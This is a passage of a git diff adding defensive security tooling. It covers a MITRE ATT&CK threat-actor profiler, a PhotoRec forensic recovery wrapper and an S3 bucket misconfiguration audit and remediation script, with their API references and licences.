print("=" * 50) + cats = parsed["categories"] + print(f"Indicators: {len(cats['indicators'])}") + print(f"Malware: {len(cats['malware'])}") + print(f"Threat Actors: {len(cats['threat_actors'])}") + print(f"Attack Patterns: {len(cats['attack_patterns'])}") + print(f"Campaigns: {len(cats['campaigns'])}") + print(f"Relationships: {len(cats['relationships'])}") + print(f"Parse Errors: {len(parsed['parse_errors'])}") + print(f"\nExtracted IOCs:") + for ioc_type, values in iocs.items(): + if values: + print(f" {ioc_type}: {len(values)}") + for v in values[:5]: + print(f" - {v}") + + +if __name__ == "__main__": + taxii_url = sys.argv[1] if len(sys.argv) > 1 else "https://cti.example.com/taxii/" + user = os.environ.get("TAXII_USER") if "os" in dir() else None + import os + user = os.environ.get("TAXII_USER") + password = os.environ.get("TAXII_PASSWORD") + print(f"Discovering TAXII server: {taxii_url}") + discovery = discover_server(taxii_url, user, password) + print(json.dumps(discovery, indent=2, default=str)) diff --git a/skills/profiling-threat-actor-groups/LICENSE b/skills/profiling-threat-actor-groups/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/profiling-threat-actor-groups/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/profiling-threat-actor-groups/references/api-reference.md b/skills/profiling-threat-actor-groups/references/api-reference.md new file mode 100644 index 00000000..878a747e --- /dev/null +++ b/skills/profiling-threat-actor-groups/references/api-reference.md @@ -0,0 +1,67 @@ +# API Reference: Threat Actor Profiling Agent + +## Overview + +Builds threat actor profiles from MITRE ATT&CK STIX data using the stix2 MemoryStore. Queries intrusion-set objects for TTPs, software, and relationships, enabling group comparison and tactic mapping. + +## Dependencies + +| Package | Version | Purpose | +|---------|---------|---------| +| stix2 | >= 3.0 | STIX 2.1 object store and filtering | +| requests | >= 2.28 | ATT&CK STIX data download | + +## Data Source + +MITRE ATT&CK Enterprise STIX bundle from `https://raw.githubusercontent.com/mitre/cti/master/enterprise-attack/enterprise-attack.json`. Cached locally at `/tmp/enterprise-attack.json`. + +## Core Functions + +### `load_attack_data(cache_path)` +Downloads and caches ATT&CK STIX data into a stix2 MemoryStore. +- **Returns**: `MemoryStore` instance + +### `list_threat_groups(src)` +Lists all intrusion-set objects with name, aliases, and description. +- **Returns**: `list[dict]` sorted by name + +### `get_group_profile(src, group_name)` +Full profile: description, aliases, techniques with ATT&CK IDs, software (malware/tools), external references. +- **Search**: Exact match on name, then fuzzy match on name and aliases +- **Returns**: `dict` with techniques, software, references + +### `get_group_techniques_by_tactic(src, group_name)` +Organizes a group's techniques by ATT&CK tactic (kill chain phase). +- **Returns**: `dict` with tactics mapped to technique lists + +### `compare_groups(src, group_names)` +Compares multiple groups: shared techniques, technique counts, software counts. +- **Returns**: `dict` with `shared_techniques` and per-group statistics + +## STIX Object Types Queried + +| Type | ATT&CK Concept | +|------|----------------| +| intrusion-set | Threat actor group | +| attack-pattern | ATT&CK technique | +| malware | Malware family | +| tool | Legitimate tool used by attacker | +| relationship | Links between groups, techniques, software | + +## Usage + +```bash +python agent.py APT29 +python agent.py "Lazarus Group" +``` + +## Example Output Fields + +```json +{ + "name": "APT29", + "aliases": ["NOBELIUM", "Cozy Bear", "The Dukes"], + "techniques": [{"name": "Phishing", "technique_id": "T1566"}], + "software": [{"name": "Cobalt Strike", "type": "tool"}] +} +``` diff --git a/skills/profiling-threat-actor-groups/scripts/agent.py b/skills/profiling-threat-actor-groups/scripts/agent.py new file mode 100644 index 00000000..4a0e5d3d --- /dev/null +++ b/skills/profiling-threat-actor-groups/scripts/agent.py @@ -0,0 +1,181 @@ +#!/usr/bin/env python3 +"""Threat actor profiling agent using MITRE ATT&CK STIX data and STIX2 library.""" + +import json +import sys +import os +from datetime import datetime + +try: + from stix2 import MemoryStore, Filter + import requests +except ImportError: + print("Install: pip install stix2 requests") + sys.exit(1) + +ATTACK_STIX_URL = "https://raw.githubusercontent.com/mitre/cti/master/enterprise-attack/enterprise-attack.json" + + +def load_attack_data(cache_path="/tmp/enterprise-attack.json"): + """Load MITRE ATT&CK STIX data from cache or download.""" + if os.path.exists(cache_path): + with open(cache_path, "r") as f: + data = json.load(f) + else: + resp = requests.get(ATTACK_STIX_URL, timeout=60) + resp.raise_for_status() + data = resp.json() + with open(cache_path, "w") as f: + json.dump(data, f) + return MemoryStore(stix_data=data["objects"]) + + +def list_threat_groups(src): + """List all threat actor groups in ATT&CK.""" + groups = src.query([Filter("type", "=", "intrusion-set")]) + result = [] + for g in groups: + aliases = getattr(g, "aliases", []) + result.append({ + "id": g.id, + "name": g.name, + "aliases": aliases if aliases else [], + "description": (g.description[:200] + "...") if hasattr(g, "description") and g.description else "", + "created": str(g.created), + "modified": str(g.modified), + }) + return sorted(result, key=lambda x: x["name"]) + + +def get_group_profile(src, group_name): + """Build a comprehensive profile for a specific threat actor group.""" + groups = src.query([ + Filter("type", "=", "intrusion-set"), + Filter("name", "=", group_name), + ]) + if not groups: + groups = src.query([Filter("type", "=", "intrusion-set")]) + groups = [g for g in groups if group_name.lower() in g.name.lower() + or any(group_name.lower() in a.lower() for a in getattr(g, "aliases", []))] + if not groups: + return {"error": f"Group '{group_name}' not found"} + group = groups[0] + profile = { + "name": group.name, + "id": group.id, + "aliases": getattr(group, "aliases", []), + "description": getattr(group, "description", ""), + "created": str(group.created), + "modified": str(group.modified), + "external_references": [], + } + for ref in getattr(group, "external_references", []): + if hasattr(ref, "source_name"): + profile["external_references"].append({ + "source": ref.source_name, + "url": getattr(ref, "url", ""), + "external_id": getattr(ref, "external_id", ""), + }) + relationships = src.query([ + Filter("type", "=", "relationship"), + Filter("source_ref", "=", group.id), + ]) + profile["techniques"] = [] + profile["software"] = [] + for rel in relationships: + target = src.get(rel.target_ref) + if target: + if target.type == "attack-pattern": + technique = { + "name": target.name, + "technique_id": "", + "description": rel.description[:200] if hasattr(rel, "description") and rel.description else "", + } + for ref in getattr(target, "external_references", []): + if hasattr(ref, "external_id") and ref.external_id.startswith("T"): + technique["technique_id"] = ref.external_id + profile["techniques"].append(technique) + elif target.type in ("malware", "tool"): + profile["software"].append({ + "name": target.name, + "type": target.type, + "description": (target.description[:200] + "...") if hasattr(target, "description") and target.description else "", + }) + return profile + + +def get_group_techniques_by_tactic(src, group_name): + """Map a group's techniques organized by ATT&CK tactic.""" + profile = get_group_profile(src, group_name) + if "error" in profile: + return profile + tactic_map = {} + techniques = src.query([Filter("type", "=", "attack-pattern")]) + tech_lookup = {} + for t in techniques: + for ref in getattr(t, "external_references", []): + if hasattr(ref, "external_id") and ref.external_id.startswith("T"): + tech_lookup[t.name] = { + "id": ref.external_id, + "tactics": [p["phase_name"] for p in getattr(t, "kill_chain_phases", [])], + } + for tech in profile["techniques"]: + info = tech_lookup.get(tech["name"], {}) + for tactic in info.get("tactics", ["unknown"]): + tactic_map.setdefault(tactic, []).append({ + "technique": tech["name"], + "id": info.get("id", tech.get("technique_id", "")), + }) + return {"group": group_name, "tactics": tactic_map} + + +def compare_groups(src, group_names): + """Compare techniques and tools across multiple threat actor groups.""" + profiles = {} + for name in group_names: + p = get_group_profile(src, name) + if "error" not in p: + profiles[name] = p + all_techniques = {} + for name, profile in profiles.items(): + for tech in profile["techniques"]: + tech_name = tech["name"] + all_techniques.setdefault(tech_name, set()).add(name) + shared = {t: list(g) for t, g in all_techniques.items() if len(g) > 1} + return { + "groups": list(profiles.keys()), + "shared_techniques": shared, + "technique_counts": {n: len(p["techniques"]) for n, p in profiles.items()}, + "software_counts": {n: len(p["software"]) for n, p in profiles.items()}, + } + + +def print_profile(profile): + print(f"Threat Actor Profile: {profile['name']}") + print("=" * 50) + if profile.get("aliases"): + print(f"Aliases: {', '.join(profile['aliases'])}") + print(f"\nDescription:\n{profile.get('description', '')[:500]}") + print(f"\nTechniques ({len(profile.get('techniques', []))}):") + for t in profile.get("techniques", [])[:20]: + print(f" [{t.get('technique_id', 'N/A'):8s}] {t['name']}") + print(f"\nSoftware ({len(profile.get('software', []))}):") + for s in profile.get("software", []): + print(f" [{s['type']:7s}] {s['name']}") + print(f"\nReferences:") + for r in profile.get("external_references", [])[:5]: + print(f" {r['source']}: {r.get('url', r.get('external_id', ''))}") + + +if __name__ == "__main__": + group_name = sys.argv[1] if len(sys.argv) > 1 else "APT29" + print("Loading MITRE ATT&CK data...") + src = load_attack_data() + profile = get_group_profile(src, group_name) + if "error" in profile: + print(profile["error"]) + print("\nAvailable groups:") + for g in list_threat_groups(src)[:20]: + print(f" {g['name']}: {', '.join(g['aliases'][:3])}") + else: + print_profile(profile) diff --git a/skills/recovering-deleted-files-with-photorec/LICENSE b/skills/recovering-deleted-files-with-photorec/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/recovering-deleted-files-with-photorec/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/recovering-deleted-files-with-photorec/references/api-reference.md b/skills/recovering-deleted-files-with-photorec/references/api-reference.md new file mode 100644 index 00000000..ebfa24cb --- /dev/null +++ b/skills/recovering-deleted-files-with-photorec/references/api-reference.md @@ -0,0 +1,59 @@ +# API Reference: Recovering Deleted Files with PhotoRec Agent + +## Overview + +Wraps PhotoRec via subprocess for forensic file recovery from disk images, with automated file cataloging, SHA-256 hashing for evidence integrity, and categorized sorting. + +## Dependencies + +| Package | Version | Purpose | +|---------|---------|---------| +| hashlib | stdlib | SHA-256 hashing for evidence integrity | +| subprocess | stdlib | PhotoRec command execution | +| pathlib | stdlib | File extension handling | + +## External Tools Required + +| Tool | Purpose | +|------|---------| +| photorec | File carving and recovery from disk images | +| file | File type identification | + +## Core Functions + +### `run_photorec(image_path, output_dir, file_types, partition)` +Executes PhotoRec with optional file type filtering and partition selection. +- **Timeout**: 14400 seconds (4 hours) +- **Returns**: `dict` with command, returncode, output_dir + +### `catalog_recovered_files(output_dir)` +Catalogs all recovered files by extension with counts and sizes. +- **Returns**: `dict` with `total_files`, `total_mb`, `by_extension` + +### `hash_recovered_files(output_dir, extensions)` +Generates SHA-256 hashes for recovered files, optionally filtered by extension. +- **Returns**: `list[dict]` with file path, sha256, size + +### `sort_recovered_files(output_dir, sorted_dir)` +Sorts recovered files into categories: documents, images, databases, archives, executables, email, web, other. +- **Returns**: `dict[str, int]` - category to file count + +### `full_recovery_pipeline(image_path, output_dir, file_types)` +End-to-end: image info -> PhotoRec recovery -> catalog -> sort. + +## File Categories + +| Category | Extensions | +|----------|-----------| +| documents | .doc, .docx, .pdf, .xls, .xlsx, .ppt, .txt, .csv | +| images | .jpg, .png, .gif, .bmp, .tiff, .svg | +| databases | .db, .sqlite, .mdb, .sql | +| archives | .zip, .rar, .7z, .tar, .gz | +| executables | .exe, .dll, .bat, .ps1, .sh | +| email | .eml, .msg, .pst, .ost | + +## Usage + +```bash +python agent.py /cases/evidence.dd /cases/recovered/ jpg,pdf,doc +``` diff --git a/skills/recovering-deleted-files-with-photorec/scripts/agent.py b/skills/recovering-deleted-files-with-photorec/scripts/agent.py new file mode 100644 index 00000000..7f659308 --- /dev/null +++ b/skills/recovering-deleted-files-with-photorec/scripts/agent.py @@ -0,0 +1,200 @@ +#!/usr/bin/env python3 +"""Deleted file recovery agent using PhotoRec subprocess wrapper.""" + +import subprocess +import os +import sys +import json +import hashlib +from pathlib import Path +from collections import defaultdict +from datetime import datetime + + +def verify_photorec(): + """Check that PhotoRec is installed and available.""" + result = subprocess.run( + ["photorec", "--version"], capture_output=True, text=True + ) + if result.returncode == 0: + return {"installed": True, "version": result.stdout.strip()} + return {"installed": False} + + +def get_image_info(image_path): + """Get forensic image information.""" + file_result = subprocess.run( + ["file", image_path], capture_output=True, text=True + ) + size = os.path.getsize(image_path) if os.path.exists(image_path) else 0 + return { + "path": image_path, + "size_bytes": size, + "size_gb": round(size / (1024 ** 3), 2), + "type": file_result.stdout.strip(), + } + + +def run_photorec(image_path, output_dir, file_types=None, partition=None): + """Run PhotoRec for file recovery using command-line interface.""" + os.makedirs(output_dir, exist_ok=True) + cmd = ["photorec", "/d", output_dir, "/cmd", image_path] + options = [] + if partition: + options.append(f"partition_i_end,{partition}") + if file_types: + enable_list = ",".join(file_types) + options.append(f"fileopt,everything,disable,{enable_list},enable") + options.append("search") + cmd.append(",".join(options) if options else "search") + result = subprocess.run( + cmd, capture_output=True, text=True, timeout=14400 + ) + return { + "command": " ".join(cmd), + "returncode": result.returncode, + "stdout": result.stdout[-1000:] if result.stdout else "", + "stderr": result.stderr[-500:] if result.stderr else "", + "output_dir": output_dir, + } + + +def catalog_recovered_files(output_dir): + """Catalog all recovered files by type, size, and hash.""" + catalog = defaultdict(list) + total_files = 0 + total_bytes = 0 + for root, dirs, files in os.walk(output_dir): + for filename in files: + filepath = os.path.join(root, filename) + ext = Path(filename).suffix.lower() + try: + size = os.path.getsize(filepath) + except OSError: + continue + total_files += 1 + total_bytes += size + entry = { + "path": filepath, + "filename": filename, + "extension": ext, + "size": size, + } + catalog[ext].append(entry) + summary = { + "total_files": total_files, + "total_bytes": total_bytes, + "total_mb": round(total_bytes / (1024 * 1024), 2), + "by_extension": { + ext: {"count": len(files), "total_bytes": sum(f["size"] for f in files)} + for ext, files in sorted(catalog.items(), key=lambda x: -len(x[1])) + }, + } + return summary + + +def hash_recovered_files(output_dir, extensions=None): + """Generate SHA-256 hashes for recovered files for evidence integrity.""" + hashes = [] + for root, dirs, files in os.walk(output_dir): + for filename in files: + filepath = os.path.join(root, filename) + ext = Path(filename).suffix.lower() + if extensions and ext not in extensions: + continue + try: + with open(filepath, "rb") as f: + sha256 = hashlib.sha256(f.read()).hexdigest() + hashes.append({ + "file": filepath, + "sha256": sha256, + "size": os.path.getsize(filepath), + }) + except (OSError, PermissionError): + pass + return hashes + + +def sort_recovered_files(output_dir, sorted_dir): + """Sort recovered files into categorized directories.""" + categories = { + "documents": [".doc", ".docx", ".pdf", ".xls", ".xlsx", ".ppt", ".pptx", + ".odt", ".ods", ".txt", ".rtf", ".csv"], + "images": [".jpg", ".jpeg", ".png", ".gif", ".bmp", ".tiff", ".svg", ".webp"], + "databases": [".db", ".sqlite", ".mdb", ".accdb", ".sql"], + "archives": [".zip", ".rar", ".7z", ".tar", ".gz", ".bz2"], + "executables": [".exe", ".dll", ".bat", ".ps1", ".sh", ".msi"], + "email": [".eml", ".msg", ".pst", ".ost", ".mbox"], + "web": [".html", ".htm", ".css", ".js", ".json", ".xml"], + } + os.makedirs(sorted_dir, exist_ok=True) + for cat in categories: + os.makedirs(os.path.join(sorted_dir, cat), exist_ok=True) + os.makedirs(os.path.join(sorted_dir, "other"), exist_ok=True) + moved = defaultdict(int) + for root, dirs, files in os.walk(output_dir): + if root.startswith(sorted_dir): + continue + for filename in files: + src = os.path.join(root, filename) + ext = Path(filename).suffix.lower() + target_cat = "other" + for cat, exts in categories.items(): + if ext in exts: + target_cat = cat + break + dst = os.path.join(sorted_dir, target_cat, filename) + counter = 1 + while os.path.exists(dst): + name, extension = os.path.splitext(filename) + dst = os.path.join(sorted_dir, target_cat, f"{name}_{counter}{extension}") + counter += 1 + try: + os.rename(src, dst) + moved[target_cat] += 1 + except OSError: + pass + return dict(moved) + + +def full_recovery_pipeline(image_path, output_dir, file_types=None): + """Run complete file recovery pipeline.""" + results = {"timestamp": datetime.now().isoformat()} + results["image_info"] = get_image_info(image_path) + recovery_dir = os.path.join(output_dir, "recovered") + results["recovery"] = run_photorec(image_path, recovery_dir, file_types=file_types) + if os.path.exists(recovery_dir): + results["catalog"] = catalog_recovered_files(recovery_dir) + sorted_dir = os.path.join(output_dir, "sorted") + results["sorting"] = sort_recovered_files(recovery_dir, sorted_dir) + return results + + +def print_report(results): + print("File Recovery Report") + print("=" * 50) + print(f"Date: {results.get('timestamp', 'N/A')}") + img = results.get("image_info", {}) + print(f"Image: {img.get('path', 'N/A')} ({img.get('size_gb', 0)} GB)") + cat = results.get("catalog", {}) + print(f"\nRecovered: {cat.get('total_files', 0)} files ({cat.get('total_mb', 0)} MB)") + print("\nBy Extension:") + for ext, info in list(cat.get("by_extension", {}).items())[:15]: + print(f" {ext:8s}: {info['count']:>5} files ({info['total_bytes'] // 1024:>8} KB)") + sorting = results.get("sorting", {}) + if sorting: + print("\nSorted Categories:") + for cat_name, count in sorting.items(): + print(f" {cat_name:15s}: {count} files") + + +if __name__ == "__main__": + if len(sys.argv) < 3: + print("Usage: python agent.py [file_types]") + print(" file_types: comma-separated (e.g., jpg,pdf,doc)") + sys.exit(1) + image = sys.argv[1] + output = sys.argv[2] + types = sys.argv[3].split(",") if len(sys.argv) > 3 else None + results = full_recovery_pipeline(image, output, file_types=types) + print_report(results) diff --git a/skills/recovering-from-ransomware-attack/LICENSE b/skills/recovering-from-ransomware-attack/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/recovering-from-ransomware-attack/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/remediating-s3-bucket-misconfiguration/LICENSE b/skills/remediating-s3-bucket-misconfiguration/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/remediating-s3-bucket-misconfiguration/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/remediating-s3-bucket-misconfiguration/references/api-reference.md b/skills/remediating-s3-bucket-misconfiguration/references/api-reference.md new file mode 100644 index 00000000..971b1cec --- /dev/null +++ b/skills/remediating-s3-bucket-misconfiguration/references/api-reference.md @@ -0,0 +1,81 @@ +# API Reference: S3 Bucket Misconfiguration Remediation Agent + +## Overview + +Audits and remediates S3 bucket security: public access blocks, bucket policies, ACLs, encryption, versioning, and access logging using boto3. + +## Dependencies + +| Package | Version | Purpose | +|---------|---------|---------| +| boto3 | >= 1.28 | AWS S3 API for audit and remediation | + +## Audit Functions + +### `check_public_access_block(s3, bucket)` +Verifies all four S3 Block Public Access settings are enabled. +- **Returns**: `dict` with `block_config`, `fully_blocked` + +### `check_bucket_policy(s3, bucket)` +Parses bucket policy for `Principal: "*"` Allow statements. +- **Returns**: `dict` with `public_statements` list (risk: CRITICAL) + +### `check_bucket_acl(s3, bucket)` +Checks ACL grants for AllUsers or AuthenticatedUsers URIs. +- **Returns**: `dict` with `public_grants` list + +### `check_encryption(s3, bucket)` +Checks for default server-side encryption configuration. +- **Returns**: `dict` with `encrypted`, `algorithm` (AES256 or aws:kms) + +### `check_versioning(s3, bucket)` +Checks versioning status and MFA Delete configuration. +- **Returns**: `dict` with `status`, `mfa_delete` + +### `check_logging(s3, bucket)` +Verifies access logging is enabled with target bucket. +- **Returns**: `dict` with `logging_enabled`, `target_bucket` + +### `audit_all_buckets(s3)` +Full audit across all buckets, sorted by issue count. +- **Returns**: `list[dict]` with risk rating per bucket + +## Remediation Functions + +### `enable_public_access_block(s3, bucket)` +Enables all four S3 Block Public Access settings. + +### `enable_encryption(s3, bucket, algorithm)` +Configures default SSE-KMS or AES256 encryption with bucket key. + +### `enable_versioning(s3, bucket)` +Enables S3 versioning on the bucket. + +## AWS API Calls + +| API Call | Purpose | +|----------|---------| +| `list_buckets` | Enumerate all buckets | +| `get_public_access_block` | Check block config | +| `put_public_access_block` | Apply block config | +| `get_bucket_policy` | Read bucket policy | +| `get_bucket_acl` | Read ACL grants | +| `get_bucket_encryption` | Check encryption | +| `put_bucket_encryption` | Enable encryption | +| `get_bucket_versioning` | Check versioning | +| `put_bucket_versioning` | Enable versioning | +| `get_bucket_logging` | Check access logging | + +## Environment Variables + +| Variable | Required | Description | +|----------|----------|-------------| +| `AWS_ACCESS_KEY_ID` | Yes | AWS credential | +| `AWS_SECRET_ACCESS_KEY` | Yes | AWS credential | +| `AWS_DEFAULT_REGION` | No | Default: us-east-1 | + +## Usage + +```bash +python agent.py us-east-1 +``` diff --git a/skills/remediating-s3-bucket-misconfiguration/scripts/agent.py b/skills/remediating-s3-bucket-misconfiguration/scripts/agent.py new file mode 100644 index 00000000..6d5a11cb --- /dev/null +++ b/skills/remediating-s3-bucket-misconfiguration/scripts/agent.py @@ -0,0 +1,208 @@ +#!/usr/bin/env python3 +"""S3 bucket misconfiguration remediation agent using boto3.""" + +import json +import sys + +try: + import boto3 + from botocore.exceptions import ClientError +except ImportError: + print("Install: pip install boto3") + sys.exit(1) + + +def get_s3_client(region="us-east-1"): + return boto3.client("s3", region_name=region) + + +def list_all_buckets(s3): + """List all S3 buckets in the account.""" + resp = s3.list_buckets() + return [b["Name"] for b in resp.get("Buckets", [])] + + +def check_public_access_block(s3, bucket): + """Check if S3 Block Public Access is enabled.""" + try: + config = s3.get_public_access_block(Bucket=bucket) + block = config["PublicAccessBlockConfiguration"] + all_blocked = all([ + block.get("BlockPublicAcls", False), + block.get("IgnorePublicAcls", False), + block.get("BlockPublicPolicy", False), + block.get("RestrictPublicBuckets", False), + ]) + return {"bucket": bucket, "block_config": block, "fully_blocked": all_blocked} + except ClientError as e: + if e.response["Error"]["Code"] == "NoSuchPublicAccessBlockConfiguration": + return {"bucket": bucket, "block_config": None, "fully_blocked": False} + raise + + +def check_bucket_policy(s3, bucket): + """Check bucket policy for public access grants.""" + try: + policy = json.loads(s3.get_bucket_policy(Bucket=bucket)["Policy"]) + findings = [] + for stmt in policy.get("Statement", []): + principal = stmt.get("Principal", {}) + effect = stmt.get("Effect", "") + if principal == "*" or principal == {"AWS": "*"}: + if effect == "Allow": + findings.append({ + "sid": stmt.get("Sid", "unnamed"), + "effect": effect, + "principal": str(principal), + "action": stmt.get("Action"), + "risk": "CRITICAL", + }) + return {"bucket": bucket, "has_policy": True, "public_statements": findings} + except ClientError as e: + if e.response["Error"]["Code"] == "NoSuchBucketPolicy": + return {"bucket": bucket, "has_policy": False, "public_statements": []} + raise + + +def check_bucket_acl(s3, bucket): + """Check bucket ACL for public grants.""" + acl = s3.get_bucket_acl(Bucket=bucket) + public_grants = [] + for grant in acl.get("Grants", []): + grantee = grant.get("Grantee", {}) + uri = grantee.get("URI", "") + if "AllUsers" in uri or "AuthenticatedUsers" in uri: + public_grants.append({ + "grantee": uri, + "permission": grant.get("Permission"), + "risk": "CRITICAL" if grant.get("Permission") in ("FULL_CONTROL", "WRITE") else "HIGH", + }) + return {"bucket": bucket, "public_grants": public_grants} + + +def check_encryption(s3, bucket): + """Check if default encryption is enabled.""" + try: + config = s3.get_bucket_encryption(Bucket=bucket) + rules = config.get("ServerSideEncryptionConfiguration", {}).get("Rules", []) + encryption = None + for rule in rules: + sse = rule.get("ApplyServerSideEncryptionByDefault", {}) + encryption = sse.get("SSEAlgorithm") + return {"bucket": bucket, "encrypted": True, "algorithm": encryption} + except ClientError as e: + if e.response["Error"]["Code"] == "ServerSideEncryptionConfigurationNotFoundError": + return {"bucket": bucket, "encrypted": False, "algorithm": None} + raise + + +def check_versioning(s3, bucket): + """Check if versioning is enabled.""" + resp = s3.get_bucket_versioning(Bucket=bucket) + return { + "bucket": bucket, + "status": resp.get("Status", "Disabled"), + "mfa_delete": resp.get("MFADelete", "Disabled"), + } + + +def check_logging(s3, bucket): + """Check if access logging is enabled.""" + resp = s3.get_bucket_logging(Bucket=bucket) + logging_config = resp.get("LoggingEnabled") + return { + "bucket": bucket, + "logging_enabled": logging_config is not None, + "target_bucket": logging_config.get("TargetBucket") if logging_config else None, + } + + +def enable_public_access_block(s3, bucket): + """Enable S3 Block Public Access on a bucket.""" + s3.put_public_access_block( + Bucket=bucket, + PublicAccessBlockConfiguration={ + "BlockPublicAcls": True, + "IgnorePublicAcls": True, + "BlockPublicPolicy": True, + "RestrictPublicBuckets": True, + }, + ) + return {"bucket": bucket, "action": "block_public_access", "status": "applied"} + + +def enable_encryption(s3, bucket, algorithm="aws:kms"): + """Enable default encryption on a bucket.""" + config = { + "Rules": [{ + "ApplyServerSideEncryptionByDefault": {"SSEAlgorithm": algorithm}, + "BucketKeyEnabled": True, + }] + } + s3.put_bucket_encryption( + Bucket=bucket, + ServerSideEncryptionConfiguration=config, + ) + return {"bucket": bucket, "action": "enable_encryption", "algorithm": algorithm} + + +def enable_versioning(s3, bucket): + """Enable versioning on a bucket.""" + s3.put_bucket_versioning( + Bucket=bucket, + VersioningConfiguration={"Status": "Enabled"}, + ) + return {"bucket": bucket, "action": "enable_versioning", "status": "Enabled"} + + +def audit_all_buckets(s3): + """Run full security audit across all buckets.""" + buckets = list_all_buckets(s3) + results = [] + for bucket in buckets: + finding = {"bucket": bucket, "issues": []} + pab = check_public_access_block(s3, bucket) + if not pab["fully_blocked"]: + finding["issues"].append("Public access block not fully enabled") + policy = check_bucket_policy(s3, bucket) + if policy["public_statements"]: + finding["issues"].append(f"{len(policy['public_statements'])} public policy statement(s)") + acl = check_bucket_acl(s3, bucket) + if acl["public_grants"]: + finding["issues"].append(f"{len(acl['public_grants'])} public ACL grant(s)") + enc = check_encryption(s3, bucket) + if not enc["encrypted"]: + finding["issues"].append("No default encryption") + ver = check_versioning(s3, bucket) + if ver["status"] != "Enabled": + finding["issues"].append("Versioning disabled") + log = check_logging(s3, bucket) + if not log["logging_enabled"]: + finding["issues"].append("Access logging disabled") + finding["issue_count"] = len(finding["issues"]) + finding["risk"] = "CRITICAL" if any("public" in i.lower() for i in finding["issues"]) else ( + "HIGH" if finding["issue_count"] >= 3 else "MEDIUM" if finding["issue_count"] >= 1 else "LOW" + ) + results.append(finding) + return sorted(results, key=lambda x: -x["issue_count"]) + + +def print_audit_report(results): + print("S3 Bucket Security Audit Report") + print("=" * 50) + print(f"Buckets Audited: {len(results)}") + critical = sum(1 for r in results if r["risk"] == "CRITICAL") + print(f"Critical: {critical}") + for r in results: + if r["issue_count"] == 0: + continue + print(f"\n[{r['risk']}] {r['bucket']} ({r['issue_count']} issues)") + for issue in r["issues"]: + print(f" - {issue}") + + +if __name__ == 